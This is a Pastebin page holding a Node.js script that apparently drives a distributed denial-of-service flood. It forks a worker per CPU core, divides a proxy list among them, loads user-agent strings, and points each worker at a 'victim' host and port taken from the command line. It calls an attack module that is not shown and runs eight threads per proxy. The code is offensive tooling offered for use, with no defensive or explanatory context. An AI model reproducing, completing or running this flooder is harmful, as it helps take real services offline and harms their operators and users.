Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
9,607
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. const net = require('net');
  2. const fs = require('fs');
  3.  
  4. const cluster = require('cluster');
  5.  
  6. if (cluster.isMaster) {
  7. let cpuCount = require('os').cpus().length;
  8.  
  9. let proxy = fs.readFileSync('proxy.txt', 'utf-8').replace(/\r/g, '').split('\n');
  10. let proxyCount = proxy.length;
  11.  
  12. for (let i = 0; i < cpuCount; i += 1) {
  13. let worker = cluster.fork();
  14. worker.send({ id: worker.id, proxy: proxy.splice(0, proxyCount / cpuCount) });
  15. }
  16.  
  17. cluster.on('exit', function (worker) {
  18. console.log('Thread %d died ', worker.id);
  19. cluster.fork();
  20. });
  21. } else {
  22.  
  23. let workerId = null;
  24. let proxy = [];
  25. const userAgents = fs.readFileSync('useragents.txt', 'utf-8').replace(/\r/g, '').split('\n');
  26.  
  27. const attack = require('./attackv2');
  28.  
  29. class Start {
  30.  
  31. constructor() {
  32. this.stats = {
  33. errors: 0,
  34. success: 0,
  35. loop: 0
  36. };
  37. this.checkInterval = setInterval(() => {
  38. console.log(`Thread: ${workerId} | errors(${this.stats.errors}) | success(${this.stats.success})`);
  39. }, 1000);
  40. this.isRunning = false;
  41.  
  42. this.attack = new attack(userAgents, stats => {
  43. this.stats.errors += stats.errors;
  44. this.stats.success += stats.success;
  45. });
  46. }
  47.  
  48. run(props) {
  49. this.isRunning = true;
  50.  
  51. if (props.method === 'attack')
  52. for (let i = 0; i < props.threads; i++)
  53. this.attack.start(props);
  54. }
  55.  
  56. stop() {
  57. this.attack.stop();
  58. clearInterval(this.checkInterval);
  59. }
  60.  
  61. }
  62.  
  63. console.log('Loading proxy list.');
  64.  
  65.  
  66. const start = new Start();
  67.  
  68. process.on('message', data => {
  69. workerId = data.id;
  70. proxy = data.proxy;
  71. const victim = { host: process.argv[2], port: process.argv[3] };
  72. proxy.forEach(async p => {
  73. let _proxy = p.split(':');
  74. start.run({
  75. victim: victim,
  76. proxy: { host: _proxy[0], port: _proxy[1] },
  77. method: 'attack',
  78. threads: 8,
  79. requests: 50
  80. });
  81. });
  82. });
  83. }
  84.  
  85. setTimeout(() => process.exit(1), process.argv[3] * 1000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement